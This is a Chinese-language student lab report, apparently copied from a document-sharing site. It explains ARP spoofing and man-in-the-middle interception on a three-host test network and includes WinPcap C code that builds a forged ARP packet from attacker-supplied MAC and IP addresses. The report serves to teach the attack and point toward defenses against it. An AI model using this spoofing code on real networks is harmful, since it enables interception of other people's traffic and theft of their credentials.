ARP中间人信息截取.docx

上传人:b****3 文档编号:3484069 上传时间:2022-11-23 格式:DOCX 页数:11 大小:1,004.42KB
下载 相关 举报
ARP中间人信息截取.docx_第1页
第1页 / 共11页
ARP中间人信息截取.docx_第2页
第2页 / 共11页
ARP中间人信息截取.docx_第3页
第3页 / 共11页
ARP中间人信息截取.docx_第4页
第4页 / 共11页
ARP中间人信息截取.docx_第5页
第5页 / 共11页
点击查看更多>>
下载资源
资源描述

ARP中间人信息截取.docx

《ARP中间人信息截取.docx》由会员分享,可在线阅读,更多相关《ARP中间人信息截取.docx(11页珍藏版)》请在冰豆网上搜索。

ARP中间人信息截取.docx

ARP中间人信息截取

 

ARP中间人信息截取

 

 

目录

实验简介1

实验环境2

实验步骤3

实验代码8

实验总结10

 

实验简介

中间人攻击:

一种对网络中两台或多台主机的之间的数据包进行攻击的方式。

发动中间人攻击时,攻击者位于合法主机的通信路径中间,通过捕获、修改、转发双方之间的数据包的手段来达到攻击的目的。

中间人攻击就好像合法主机间通信的“透明中继”,具有隐蔽性强,危害性高的特点。

中间人攻击中常见的类型有:

(1)包捕获:

这类攻击主要是涉及获取用户名,密码等敏感信息的攻击方法。

对于用明文或低度加密的信息。

(2)包修改:

通过修改被捕获的数据包,然后再将其发送到网络中的方法来达到攻击目的。

(3)会话劫持:

这类攻击主要通过中途接管主机间的会话,冒充合法主机,以达到攻击的目的。

ARP欺骗的原理:

以太网寻址是通过MAC地址而不是IP地址。

ARP协议实现了IP地址到MAC地址转换。

如果数据链路层不知道目的IP的MAC地址,它就向局域网广播一个ARP请求给网内的每一台主机,但只有具有此IP的主机收到这份广播报文才会向源主机回送一个包含其MAC地址的ARP响应。

为了提高地址转换效率,每台主机的内存中都存在有一个从IP地址到MAC地址的映射表,称为ARP缓存,它是一个动态变化的转换表,用以存放主机最近使用的IP地址和MAC地址的映射记录,其生存周期为两分钟。

对大多数操作系统而言,如果收到一个ARP应答,它们不管自己是否在此之前曾发出ARP请求报文,都会自动更新自己的ARP缓存,因此ARP是一个无状态的协议,ARP欺骗就是利用这一点进行欺骗。

ARP欺骗的核心思想就是向目标主机发送一个伪造的IP-MAC映射的ARP响应,使目标主机收到伪造的ARP应答后更新其ARP缓存,从而使目标主机将数据包发送给指定的主机。

帧的结构如下:

实验环境

 

主机A:

安装JDK、虚拟机和wireshark。

主机B:

安装VC6.0、winpcap、wireshark和winARPattacker。

主机C:

安装JDK、虚拟机和wireshark。

主机A与主机C使用由Java编程的聊天室进行通信,通信时在A上配置目标ip:

192.168.1.117;目标端口:

8080;本地发送端口:

8081;本地接收端口:

8082。

在主机C的聊天室中配置目标ip:

192.168.1.112;目标端口:

8082;

本地发送端口:

8081;本地接收端口:

8080。

实验步骤

第一步:

A、B、C三台主机分别查看自己的IP和MAC

主机A

主机B

主机C

第二步:

进行欺骗,本实验分别使用了软件欺骗和代码欺骗,如图一为软件欺骗时的截屏,图二和图三为软件欺骗成功的截图。

图一

图二

图三

如图四为代码欺骗成功,如图五为代码欺骗成功时的截屏。

图四

图五

攻击方使用wireshark分别对软件欺骗和代码欺骗过程进行抓包,如图六和图七

图六

图七

第三步:

在A和C正常通信时,可以相互收到对方发来的信息,如图八所示

图八

当聊天信息被B主机截取时,C无法收到A发来的消息如图九。

在相同的时刻,C没有收到A发来的消息。

图九

被B截获的消息抓包的截图,如图十,截取到通信内容为7878。

图十

实验代码

获取设备

pcap_if_t*alldevs;//定义一个网络接口的一个节点

pcap_if_t*d;

inti=0,inum=0,j;

charerrbuf[PCAP_ERRBUF_SIZE];

u_charpacket[64];

pcap_t*adhandle;

/*获得设备列表*/

if(pcap_findalldevs(&alldevs,errbuf)==-1)

{

fprintf(stderr,"Errorinpcap_findalldevs:

%s\n",errbuf);

exit

(1);

}

/*打印列表*/

for(d=alldevs;d!

=NULL;d=d->next)

{

printf("%d.%s",++i,d->name);

if(d->description)

printf("(%s)\n",d->description);

else

printf("(Nodescriptionavailable)\n");

}

if(i==0)

{

printf("\nNointerfacesfound!

MakesureWinPcapisinstalled.\n");

return0;

}

构造欺骗包

printf("输入被攻击方的MAC地址:

\n");

scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);

printf("输入要伪造的MAC地址:

\n");

scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[6],&packet[7],&packet[8],&packet[9],&packet[10],&packet[11]);

/*帧类型,0806表示ARP协议*/

packet[12]=0x08;

packet[13]=0x06;

/*硬件类型,0001以太网*/

packet[14]=0x00;

packet[15]=0x01;

/*协议类型,0800IP协议*/

packet[16]=0x08;

packet[17]=0x00;

/*硬件地址长度*/

packet[18]=0x06;

/*协议地址长度*/

packet[19]=0x04;

/*op,01表示请求,02表示回复*/

packet[20]=0x00;

packet[21]=0x01;

/*发送端以太网地址,同首部中以太网源地址*/

for(i=22;i<28;i++)

{

packet[i]=packet[i-16];

}

printf("输入要假冒的ip地址:

\n");

scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);

/*目的以太网地址,同首部中目的地址*/

for(i=32;i<38;i++)

{

packet[i]=packet[i-32];

}

/*目的IP地址,手动输入*/

printf("输入被攻击方的ip地址:

\n");

scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);

/*填充数据*/

for(j=42;j<64;j++)

{

packet[j]=0x00;

}

实验总结

随着计算机网络技术的发展,网络安全问题层出不穷,对于安全问题的防范有很多的做法,但从问题的根本出发来解决效果会更好。

目前,对ARP欺骗的研究很多,关于ARP欺骗的防护软件也很多,但它们主要是基于对ARP高速缓存的保护,这些软件通常工作在用户层,主要体现在对网关ARP映射的保护,这样虽然在一定程度上保护了主机,但没有彻底解决ARP欺骗对网络的威胁。

本次实验从分析ARP欺骗的根本出发,经过大量的资料搜集和学习工作,现将本文的主要工作总结如下:

(1)全面系统地分析了关于ARP协议的技术资料,并结合以太网接口层、缓冲区、接口输入输出等TCP/IP网络实现代码,认真分析了ARP协议在以太网系统中的实现,找到了ARP协议存在实现的缺陷。

(2)详细分析了ARP欺骗的原理和部分实现代码,分析了黑客利用ARP病毒进行网络欺骗的技术,找到解决ARP欺骗的途径。

由于时间的原因,只做了对中间人攻击的欺骗与截取两部分,对于截获后包的转发没有做进一步的研究。

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 初中教育 > 政史地

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1